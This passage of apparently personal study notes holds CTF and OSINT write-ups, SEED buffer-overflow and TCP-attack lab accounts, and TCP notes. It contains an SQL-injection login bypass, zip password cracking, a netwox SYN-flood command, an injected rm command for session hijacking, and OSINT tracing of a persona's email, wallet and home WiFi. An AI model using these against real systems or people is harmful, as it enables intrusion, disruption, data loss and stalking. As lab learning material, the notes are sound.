• A video in this article show the license plate of the Gurkha that he owns which is: WLJ80F
  

Flag: udctf{marcecko_wlj80f}

I’m Hungry

• This question was actually a very tough one for me, but it was very satisfy solving it.

• There is a text given inside the image “bswmrsvpjqtlbebwgawpnouxmtlpgjwfwbjswyj”. I put this text on dcode saw that it was a Vigenere Cipher. But in order to decode the Vigenere Cipher, I need to know the key/password.
• I use exiftool, binwalk and strings on the image to see if there any informations hidden inside the image. And strings return some information about a book:

• I then used Google to find information about the book Il vero modo di scrivere in cifra con facilita, prestezza et securezza
• The text “fine pagina 20” means “end of page 20”. So I accessed the book online and go to page 20 of the book, finding the keyword: “ILFINE”.

• I then decoded the text “bswmrsvpjqtlbebwgawpnouxmtlpgjwfwbjswyj” with keyword “ILFINE” and got the result: “threeoneeighttwotwoeighteightfourtwoone”.
• I then searched the numbers “3182288421” on Google, and a chiken restaurant named Bayou Soul showed up. This was the point where I got stuck and did not know what to do. I tried the name of the restaurant as the flag but it was not correct.
• After wasting a lot of time and nearly gave up, I discover that the name of the image file given play an important role in this question: “a_paper_football_player”.
• In paper football, a football player is also called “Flicker”. I used (flickr)[https://www.flickr.com/] to search for “Bayou Soul”. An account name Bayou Soul which was created on 11 November showed up:

Flag: udctf{7H@-w4SN7-S0-H4rd}

Task 2

• I downloaded the image left by the attacker at picture link.
• Then I used exiftool to extract the picture informations:

• From the export-filename, I figured out that the attacker’s username is: SakuraSnowAngelAiko

Task 3

• Many people become attached to their usernames, and may therefore use it across a number of platforms, making it easy to find other accounts owned by the same person when the username is unique enough.
• I searched the attacker’s username on google and was able to find a github account and a twitter account with the same username.

• A post on their Twitter account reveals their main account which is AiKOABE3. So their name must be Aiko Abe.
  

• It was challenging to find the attacker’s email. I found zero information about it on Twitter, then started searching through their Github account and found a PGP key repo.
• When creating a PGP key, users may enter information such as a name, username, or email address which later can be extracted from their public key. So I copied their public key and import into Kleopatra to extract the informations from the key.

• So their email is: SakuraSnowAngel83@protonmail.com

Task 4

• There are multiple repos on their github account, one of them named ETH, so I guess it must be related to their crypto wallet. Looking at the current version of the miningscript, there is nothing much. But looking at the history version of the file, I found their wallet address:

• Using their wallet address: 0xa102397dbeeBeFD8cD2F73A89122fCdB53abB6ef on Blockchain, I can track their history transactions. The mining pool the attacker received payments from on January 23, 2021 UTCT was: Ethermine

• The other cryptocurrency the attacker exchanged is: Tether

Task 5

• The attacker’s current Twitter handle was already found at task 2: SakuraLoverAiko

• From the attacker’s posts on Twitter, it looks like they store they Regular wifi and passwords somewhere on the Dark Web.

• Their post on 23th Jan, 2021 emphasized that: “Anyone who wants them will have to do a real DEEP search to find where I PASTEd them”. So the website must be something related to DEEP PASTE, isn’t it?
• I actually found a website https://deepweblinks.net/pastebin/ using Tor, but the links provided by the website no longer work. So the last solution is to use the hint image provided.

• The URL for the location where the attacker saved their WiFi SSIDs and passwords is: http://deepv2w7p33xa4pwxzwi2ps4j62gfxpyp44ezjbmpttxz3owlsp4ljid.onion

• Based on their home wifi information on DEEP PASTE: “DK1F-G Fsdf324T@@”. I performed a search on Wigle with SSID being DK1F-G and was able to find their location which is close to Hirosaki as well as BSSID: 84:af:ec:34:fc:f8

Task 6

• This is the last image they posted before they head home:

• At first, I was sure this is Japan because: 1/All of their informations lead to Japan and 2/I see a cherry blossom. I took a lot of time searching thourgh Japan airports but there was no result.
• It was not until when I changed the searching object to the below picture, the result return that it is actually the Washington Monument:

• So I did a search for airports near the area and found Ronald Reagan Washington National Airport or DCA

• The rest questions are much more easier. Here are the other two posts I used to find the answer to other questions:

• To find the last airport the attacker had their last layover in, I use Google with keyword: “JAL First Class Lounge Sakura Lounge” and there’s only one airport that has the same lounge as in the picture which is Haneda airport - HND.
• The name of the lake is Lake Inawashiro:

• The attacker’s hometown is Hirosaki because we know the location of their home wifi.

Spooky CTF 2024 Write-ups

Links:
CTF Platform: (https://spookyctf.ctfd.io/)[https://spookyctf.ctfd.io/]

• This is the second CTF challenge that I participated along with my SFU fellas. We have been participating in the CTF challenge since early October to prepare for the Canada Cyber ​​​​Challenge Regional which took place on November 23.
• Our team took this challenge on the last day, so we couldn’t get full marks for every question as the marks would decrease as more people answered. So in the end, we ranked 95/832.
• This write-up contains the questions I was able to solve during the challenge. I have created this write-up to save and use for reference for future challenges.
• Thanks to NICC for creating this amazing CTF challenge!

Open-Source Intelligence

among-us

• I use Google to find all the information about the Jersey Devil and video games that Jersey Devil appears in as a character.
• Using Google was not very effective, I only found the game called “the devil’s due” which is a really old game. Although Jersey Devil appears as an character, the game was not what I looked for since the hint said that this game has a sequeal that will be release this year.
• I use other AI tools such as ChatGPT or Bing, a name of a shop called “Lucky Pawn” shows up. This helped me to find the name of the game: The Wolf Among Us.
  

Flag: NICC{The_Wolf_Among_Us_Lucky_Pawn}

perfect-nba-fit

• Based on the researches I did in another question, I know that in New Jersey, there are creatures such as the Jersey Devil, Bigfoot, Chupacabra,… In this case Bigfoot seems like a perfect fit for NJIT because they are looking for a taller player.
• The question also mention that the information about the sighting should be class A.
• Using AI tools, I was able to find out this website: “https://www.bfro.net/ “ , containing information about sighting events of Bigfoot. After filtering out the region of the sighting as well as the class, I found the solution for this question.
  

Flag: NICC{20_18:40_Route-563_Chatsworth}

Miscellaneous

Well-met

• The hint of the question is to read the lore at “https://spookyctf.ctfd.io/lore”. I went to the site and read through all information of the characters there. A part of the answer was hidden inside a character’s information box, with black color character and black background. I was able to see it when highlighting the text. The first part of the asnwer is: NICC{StOr

• Using web inspection, I found out that the element contain the above part is following: <p class="redacted" id="spookyflag_part1">NICC{StOr</p>

• From then, I all the element that has id related to flag, spookyflag, p2, p3,… and got: <img class="img-fluid" src="/files/img/nah4real.png" width="400" height="400" id="spookyflag_p2" alt="IeS_DoNt_M"/> <span class="p-l redacted" id="p3">aKe_ThE_cTf_T</span> <!--<p4>oO_cTfY_rIgHt?}</p4> -->
  

Flag: NICC{StOrIeS_DoNt_MaKe_ThE_cTf_ToO_cTfY_rIgHt?}

Steganography

devil’s-secret-stash

• Use binwalk on the image, I found that a section of a zip archive is encrypted at entry 0x3D18A. So I use binwalk -e on the image to extract that zip archive.
• Use johntheripper to crack the password of the zip file.
• zip2john 3D18A.zip > zip.hash to extract the hash out. Then use john zip.hash to crack the password.
• The password cracked was: 250250. Use it to extract 3D18A.zip file and get the flag.
  

Flag: NICC{J3rS3y_D3v1l_Arch1V3}

set-your-intentions-right

• A mp3 file was given. I put the MP3 file into Sonic Visualizer to investigate.
• By adding waveform and spectrogram to the original wave, the answer was found.

Flag: NICC{UR_4SAK3N_D3CISION}

Phenominal-Photo

• Use steghide --info, I found that an encrypted file is hidden in this image.

• I extract the hidden file with empty password field and was able to get the zip file. The extracted folder contains another zip file that needed a password to extract and a Map.txt file:

⋔⏃⌿: ⌰⟒⎎⏁, ⎍⌿, ⎅⍜⍙⋏, ⌰⟒⎎⏁, ⎅⍜⍙⋏, ⍀⟟☌⊑⏁, ⍀⟟☌⊑⏁, ⎅⍜⍙⋏, ⌰⟒⎎⏁, ⎍⌿, ⌰⟒⎎⏁, ⍀⟟☌⊑⏁, ⎍⌿

⍀⟒⋔⟟⋏⎅⟒⍀ ⏁⊑⏃⏁ ⍜⎍⍀ ☌⌿⌇ ⟟⌇ ⏃ ⌰⟟⏁⏁⌰⟒ ⎎⎍⋏☍⊬, ⟟⏁ ⍜⋏⌰⊬ ⏁⏃☍⟒⌇ ⏁⊑⟒ ⎎⟟⍀⌇⏁ ⌰⟒⏁⏁⟒⍀ ⍜⎎ ⟒⏃☊⊑ ⎅⟟⍀⟒☊⏁⟟⍜⋏ ⍙⟒ ⍙⏃⋏⏁ ⏁⍜ ☌⍜ (⌇⏁⎍⌿⟟⎅ ⋔⟒⋔⍜⍀⊬ ⋔⏃⋏⏃☌⟒⋔⟒⋏⏁)

• My teammate found out that this is alien language and we tried to decode it using alien language translator online:

MAP: LEFT, UP, DOWN, LEFT, DOWN, RIGHT, RIGHT, DOWN, LEFT, UP, LEFT, RIGHT, UP

REMINDER THAT OUR GPS IS A LITTLE FUNKY, IT ONLY TAKES THE FIRST LETTER OF EACH DIRECTION WE WANT TO GO (STUPID MEMORY MANAGEMENT)

• From this translation, I can guess that the password of the file is: LUDLDRRDLULRU. Used the password to extract the zip file, I got a txt file: ⋏⟟☊☊{⊑⟒⌰⌿*⋔⟒*⎎⟟⋏⎅*⏁⊑⟒*⌿⌰⏃⋏⟒⏁_⏚0⍜}
• Put it in the translator again and the flag is captured.
  

Flag: NICC{HELP_ME_FIND_THE_PLANET_B0O}

whispers-in-morse

• A png file was given, I tried using tools such as exiftool, binwalk, file and strings to get information about this png.
• strings given me the last line: Password: M.A.__.R.Y
• Knowing the password, I use steghide to extract decrypt data from the image using the password: steghide extract -sf MaryMorse.jpg -p M.A.__.R.Y -xf output.txt

Flag: NICC{tHe_whIspeRz_iN_Th3_aiR}

Web

cryptid-hunters

• An IP was given that lead to a very simple website with login function. So the first thing came to my mind was SQL Injection.
• I tried a basic payload: ' OR 1 -- - and successfully logged into the site
• Useful SQL injection payload resource: ()[https://github.com/payloadbox/sql-injection-payload-list]

Flag: NICC{1N_PuRSu1T_0F_4LL13S}

Buffer Overflow

A buffer overflow occurs when more data is written to a buffer than it can hold, causing the data to overwrite adjacent memory locations. This can lead to various unintended behaviors, including crashes, data corruption, or the execution of arbitrary code.

Steps in a Buffer Overflow Attack:

1. Overflowing the Buffer:

   • An attacker inputs data that exceeds the buffer’s allocated size.
   • For example, if a buffer is allocated 10 bytes of memory but the attacker provides 20 bytes of data, the additional 10 bytes will overflow into adjacent memory.

2. Overwriting the Return Address:

   • In the stack memory layout, the buffer might be located just below the return address.
   • As the buffer overflows, it can overwrite the return address stored on the stack.
   • The return address is the location the program will jump to after the current function finishes execution.

3. Injecting Malicious Code:

   • Along with the overflowing data, the attacker includes a new return address that points to their malicious code.
   • The malicious code can be injected into the buffer itself or elsewhere in memory.

4. Executing:

   • When the function attempts to return, it uses the overwritten return address.
   • The CPU jumps to the new address, which now points to the attacker’s code.
   • The system executes the malicious code with the same privileges as the original program.

Buffer Overflow Attack Lab (Server Version)

More information on SEED Buffer Overflow Attack

Tools

Programming language: python, C
Tools used in this lab: gdb, hexcalc
Software: VirtualBox

Task 1: Get Familiar with the Shellcode

• Shellcode is typically used in code injection attacks. It is basically a piece of code that launches a shell, and is usually written in assembly languages

• Modified shellcode to delete important.txt:

  • 32-bit version:

  • 64-version:

The Vulnerable Program Memory layout

• stack.c reads data from standard input then passes data to another buffer in function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() is only 200 bytes long. Buffer overflow will occur.

Task 2: Level-1 Attack

• After turning off address randomization countermeasure with:
  $ sudo /sbin/sysctl -w kernel.randomize_va_space=0

• We send benign message to our target on 10.9.0.5: echo hello | nc 10.9.0.5 9090

• Message returned by container:

• Based on the message returned by the container, we can tell that:

  • Distance between $ebp and buffer’s starting address is :
    0xffffd488 - 0xffffd418 = 112
  • return address starting from offset 116, ending at offset 120 and located at 0xffffd488+4
    
  • the first address that we can jump too will be 0xffffd488+8

• exploit.py file:
  

  • The shellcode is put at the end of badfile.
  • The size of the shellcode in this 32-bit version is 136 bytes (generate shellcode and check its size using ls -l), so we can tell that the shellcode is located within the offset [381-517]
  • We want to replace the original return address that is located at offset[116-120] with our desired return address.
  • Since the first address we can jump to is 0xffffd488+8, any number within range[8-265] will work well in our case. I chose 200.
• As result, we succeed getting root shell on the target server 10.9.0.5:

Task 3: Level-2 Attack

• We send benign message to our target on 10.9.0.6: echo hello | nc 10.9.0.6 9090
• Message returned by container:

• exploit2.py file:
  

  • The shellcode is still put at the end of badfile.
  • The size of shellcode is still 136 bytes, and lies within the offset [381-517]
    
  • Using the hint that the range of the buffer size on target server is [100-300] bytes, we can tell that range of NOP will be from [300-381]. I chose the return address as 0xffffd3e8 + 350
  • So we would want to spray the first 320 bytes (extra 20 for overhead) of the badfile with the desired return address so that when overflow the buffer at target server, it will overwrite the original return address.
• As result, we succeed getting root shell on the target server 10.9.0.6:

Task 4: Level-3 Attack

• In this task, we switch to a 64-bit server program
• We send benign message to our target on 10.9.0.7: echo hello | nc 10.9.0.6 9090
• Message returned by container:

• Based on the result returned by the container, we can tell that:

  • Distance between $rbp and buffer’s starting address is :
    0x00007fffffffe230 - 0x00007fffffffe160 = 208
  • return address starting from offset 216, ending at offset 224 and located at 0x00007fffffffe230+8
    

Challenge in 64-bits server program:

• The 64-bit version is more difficult than the 32-bit version, because we have to avoid zeros in the payload.
• When strcpy() copies a string, it will treat zeros as the end of the string. Therefore, avoiding zeros in the payload is necessary to successfully overflow the buffer.

• We overcome this challenge by realocating the shellcode to the place before the return address.

• exploit.py file:
  

  • Based on the distace between $rbp and &buffer, we know that size of buffer is ~208 bytes.
  • The size of the shellcode in this 32-bit version is 165 bytes.
  • We will put the shellcode in the beginning of the buffer, start value can be vary from [0-43]. I chose 8.
    
  • The desired return address will now be the begining of the buffer, so the NOP will take us to the shellcode.
• As result, we succeed getting root shell on the target server 10.9.0.7:

Task 5: Level-4 Attack

• This time, the buffer size at target server is much smaller. Such that the shellcode cannot fit inside buffer.
• As usualy, we send benign message to our target on 10.9.0.8: echo hello | nc 10.9.0.6 9090
• Message returned by container:

• Based on the result returned by the container, we can tell that:

  • Distance between $rbp and &buffer starting address is:
    0x00007fffffffe1f0 - 0x00007fffffffe190 = 96
  • return address starting from offset 96 + 8 = 104, and ending at offset 112

• Observation:

  • The shellcode is 165 bytes, meanwhile buffer is only ~96 bytes. So we cannot place it before the return address address due to the lack of space.
  • We cannot place the shellcode after the return address either because data placed after it will not copied into the stack via strcpy()

• Inside main() function, there is a buffer str[]. Whatever we put in badfile is first stored in this buffer, and then is copied into the foo() functions’s buffer of a smaller size, causing buffer overflow. Since we cannot store the shellcode inside the foo() function’s buffer, we will use str[] inside main to execute our shellcode.

• exploit.py file:
  

  • The shellcode is put at the end of badfile.
  • The desired return address will point to the str[] inside main, not the buffer inside bof() like the previous attacks.
  • I tried add numerous number of bytes from [500:2000] to the original return address. And 1300 works.
• As result, we succeed getting root shell on the target server 10.9.0.8:

Task 6: Experimenting with the Address Randomization

• In this task, we turn on Address Space Layout Randomization to see how it affects the attack. $ sudo /sbin/sysctl -w kernel.randomize_va_space=2

• Now, sending benign message to target 10.9.0.5 will get us different addresses everytime:

  • ASLR makes buffer overflow attack more difficult because the return address and the address where the shellcode resides change each time the program runs, it is hard for the attacker to overwrite the return address accuarately and predict where their malicious payload needs to be placed.

Analyze Attack on TCP

More information on SEED TCP Attack Lab

Lab environment

In this lab, I have set up three machines with the following IP address:

• IP of Victim: 10.0.2.4
• IP of Attacker: 10.0.2.5
• IP of Observer: 10.0.2.6

Tools

Tools used in this lab: scapy, Wireshark
Software: VirtualBox

Task 1: TCP SYN Flooding Attack

TCP SYN flooding is a DoS attack that sends many SYN packets to the victim machine (e.g., a web server). To perform the attack, the attacker does not complete the three-way handshake protocol and floods the victim with too many SYN packets.

Running sudo sysctl -q net.ipv4.tcp_max_syn_backlog at victim’s machine. We can see that the size of queue that is used for half-opened connections at the victim side is 128

Running netstat -tna at victim side to get network status and protocol statistics before the attack:

On the attacker’s machine, we use Netwox tool to conduct the attack. Netwox command used: sudo netwox 76 -i 10.0.2.4 -p 23

After being attacked, here’s the result of running netstat -tna at victim side:

The attack is successful because on victim’s side, the connection queue starts to get filled up by the half-opened connection with State = SYN_RECV.
SYN cookie is a defense mechanism to counter the SYN flooding attack. The mechanism detects that the machine is under the SYN flooding attack.

With sudo sysctl -w net.ipv4.tcp_syncookies=0 (SYN cookie is turned off)

Wireshark while countermeasure is off:

With sudo sysctl -w net.ipv4.tcp_syncookies=1 (SYN cookie is on)

Wireshark while countermeasure is on:

Observation:

• Filtering the number of connections with the state SYN_RECV only, we see that, while the countermeasure is off, the number of half-opened connections is 97. While the countermeasure is on, the number of half-opened connections is 128, which is the maximum queue length.
• That means when the countermeasure is off, flow table of the victim is filled before the queue is full, so the server is unable to accept new valid connections.

TCP SYN Flooding Attack on Telnet session

Start a Telnet session between the victim’s machine and the observer’s machine. Then on the attacker’s machine, use Netwox tool to attack the victim.

The TCP telnet session that was established before the attack between the observer and the victim continues to work normally. However, a new telnet session cannot be established:

With SYN Cookies on, instead of maintaining the state information of the SYN packet inside the queue, the server generates a SYN cookie based on the SYN packet information from the clients and embeds this information into the SYN-ACK response sent back to the client, allowing it to reconstruct the connection state later when the final ACK packet is received. When the client responds with the final ACK packet to complete the three-way handshake, it includes the SYN cookie generated by the server. The server then verifies the SYN cookie to reconstruct the original state of the connection and complete the handshake. By doing this, the connection queue will not overflow and the server can continue to receive new valid SYN requests.

Task 2: TCP RST Attack

TCP RST attack terminates an existing connection between two TCP endpoints. The attacker can spoof a RST packet from A to B, breaking this existing connection. To succeed in this attack, attackers need to correctly construct the TCP RST packet, as described in the lecture slides.

</br>

On telnet session

Start a Telnet session between the victim’s machine and the observer’s machine. On attacker’s machine, use scapy to construct and send the TCP RST packet to break the existing connection between victim and observer. </br> In the TCP header sent by the attacker, modifications of flags field and the sequence number field are needed. Next sequence number is calculated by taking the sum of the TCP segment length and the last sequence number.

• Current TCP packet sniffed by the attacker:
  

• In this case Next sequence number = sequence number + TCP segment len = 1070715244 + 276 = 1070715520
• So the sequence number field of rst packet sent by the attacker will be 1070715520

At the observer’s machine, after the attack is launched, when the client tries to input something in the CLI, the connection is immediately closed:

On ssh session

Conduct a similar attack on a ssh session between the victim and the observer. Same thing happens as in telnet session, the moment the client inputs, the connection is closed.

The attack on ssh session also succeed, this is because SSH conducts encryption at Transport layer, so only data in TCP packets are encrypted, we will only need the header to spoof the packet.

If the victim and attacker are not on the same LAN, the reset attack on the ssh session will not succeed because the attacker cannot capture the packet and extract information from the packet to use for the reset packet. These informations include, IP addresses, ports, sequence number, data payload,…

Task 3: TCP Session Hijacking Attack

On the attacker’s machine, we want to run the injected command rm /home/seed/myfile.txt to remove myfile.txt on the victim’s machine.

In TCP header field of the packet spoofed by attacker, modifications of flags field, the sequence number field and the ack field are needed. Flag is changed to “A” indicating an ACK, sequence number and ack are set to the sequence number and ack number from the last obtained packet.
The attacker snifff the last packet from client to server and use the sequence number field and ack field of that packet for the spoofed packet because the TCP segment length is 0.

• Current TCP packet sniffed by the attacker:
  

On telnet session

Use wireshark to see packet capture after launching the attack:

We can see that after the spoofed packet is sent from the attacker, when the client wants to send something later, it will use the same sequence number as the spoofed packet and the server will keep dropping it because it thinks the packet is a duplicate. Also, from the server side, the server will keep sending ACK to the client for the spoofed packet, which the client did not send, and the client will just discard the ACK. This causes a deadlock between server and client and the connection is frozen.

On ssh session

Use wireshark to see packet capture after launching the attack:

The same method cannot be used to hijack a ssh session, this is because in ssh, ssh encrypts the entire communication stream, including the TCP header and the data. So without the key, the attack will not work.

Packet Sniffing and Spoofing

• Packet Sniffing involves capturing network packets not intended for your machine.
• Packet Spoofing refers to creating and sending fake packets to a network.

Useful for:

• Intrusion Analysts: Examine network traffic to detect and study intrusions.
• Forensic Investigators: Assess the extent of malware infections.
• Attackers: Gain insights into victim networks.

Sniffing

Machines are connected to networks through Network Interface Cards (NIC)

• Network Interface Card (NIC):
  
  • NIC is a physical or logical link between a machine and a network. Each NIC has a hardware address called MAC address.
  • The NIC “hear” all the traffic on the network, but it only processes and accepts the frames that are addressed specifically to its own MAC address.
    • Frame with the destined address of the NIC will be taken to the CPU for further processing.
    • Frames with different destination MAC addresses are discarded by the NIC.

In order to sniff packets that are not ours, we turn on Promiscuous Mode:

• On Promiscuous Mode, NIC passes every frame received from the network to the kernel , regardless of whether the destination MAC address matches with the card’s own address or not.

Implementing Packet Sniffers

• Raw Sockets: These allow access to the raw data flowing through the network. The operating system kernel passes packets directly to applications that use raw sockets. However, this method is not portable across different operating systems.
• Packet Filtering: When sniffing, we aim to capture specific types of packets (e.g., TCP, DNS queries) while discarding unwanted ones. Filtering packets before they reach the application can save processing time.

Spoofing

Packet Spoofing: This involves altering critical information in packet headers, such as the source IP address, sequence number, or port number, to deceive the target.

1. TCP SYN Flooding

   • Denial-of-Service (DoS) Attack: The attacker sends numerous SYN packets to a server without completing the TCP three-way handshake, overwhelming the server’s queue of half-open connections and preventing legitimate connections.
   • Technique: Attackers use random source IP addresses to avoid being blocked.

2. TCP Reset Attack

   • Disrupting Connections: Attackers send spoofed RST packets to terminate an ongoing TCP connection between two hosts.

3. TCP Session Hijacking

   • Injecting Data: During an ongoing TCP session, attackers inject arbitrary data into the TCP receiver’s buffer. The injected packets must match the original session’s srcIP, destIP, srcPort, and destPort to be accepted by the server.

To learn more about attack methods and how they work, check out Analyze Attack on TCP

Conclusion

Understanding and mitigating the risks of packet sniffing and spoofing are crucial for maintaining robust network security. By comprehending the mechanisms and potential impacts of these threats, network administrators can better safeguard their systems, ensuring confidentiality, integrity, authenticity, and availability of their network resources.

TCP Flow Control

• Decides how much data should be sent/ the flow of data

• Ensure the sender does not overflow receiver’s buffer by transmitting too much, too fast

• How flow control works:
  1. Receiver Advertises RcvWindow: The receiver communicates its available buffer space to the sender through the RcvWindow (Receive Window).
  2. Sender Limits Unacknowledged Data: The sender adjusts its data transmission to ensure that the unacknowledged data does not exceed the RcvWindow, thereby preventing buffer overflow at the receiver’s end.

Flow control is an end-to-end mechanism, meaning each intermediate network device independently manages the flow of data through its specific network segment.

TCP Congestion Control

Congestion control addresses the issue of too much traffic going through the network, which can exceed the network’s handling capacity. This congestion results in routers dropping packets or delaying them beyond acceptable limits, causing timeouts at the sender.

Mechanism:

• Probing for Usable Bandwidth: TCP probes the network for available bandwidth by increasing the transmission rate until packet loss occurs, then decreases the rate.
• Additive Increase, Multiplicative Decrease (AIMD): TCP incrementally increases the congestion window (CongWin) and decreases it multiplicatively when packet loss is detected.

Congestion Detection:

TCP infers congestion through timeouts or duplicate acknowledgments (ACKs), defining a loss event.

TCP Congestion Control Algorithm Components:

1. AIMD:

   • Increase CongestionWindow additively until a threshold is reached.
   • TCP increases CongestionWindow by:
     (Maximum Segment Size) * (Maximum Segment Size/CongWindow) for every ACK received
     Example: If MSS = 1460 and CongWin = 14600, then:
     CongWin increased by 1460 * 1460/14600 = 146
     
   • Upon packet loss detection, cut CongestionWindow in half.

2. Slow Start:

   • Initial phase where the sender starts by sending a small number of packets, doubling the packets sent for each acknowledged packet received.
   • Continues until reaching the congestion window (cwnd) threshold, then transitions to congestion avoidance.

3. TCP Reaction to a Loss Event:

   • TCP Tahoe:

     • Threshold = CongestionWindow / 2
     • Set CongestionWindow = 1 MSS
     • Slow start until threshold, then additive increase.
     • Tahoe is slower as it resets the cwnd to 1 on each loss event.

   • TCP Reno:

     • If 3 duplicate ACKs:
       • Threshold = CongWin / 2
       • CongWin = Threshold + 3MSS
       • Additive increase.